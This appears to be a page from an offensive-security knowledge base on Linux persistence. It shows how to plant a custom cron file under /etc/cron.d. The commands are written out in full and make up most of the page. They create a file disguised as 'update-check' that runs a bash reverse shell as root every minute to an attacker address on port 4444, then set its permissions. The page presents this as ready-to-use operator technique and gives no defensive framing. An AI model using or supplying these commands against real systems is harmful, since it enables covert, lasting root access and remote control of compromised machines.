Operator On The Wire
← Back to Knowledge Base
OOTW / Chapter II - Local / 03. Linux / 03. Persistence / Cron Job

Custom Cron Jobs

Cron jobs can also be added as separate files under /etc/cron.d/.

Create a cron file:

cat > /etc/cron.d/update-check << 'EOF'
* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/10.10.15.37/4444 0>&1'
EOF

Set correct permissions:

chmod 644 /etc/cron.d/update-check

Wait for execution.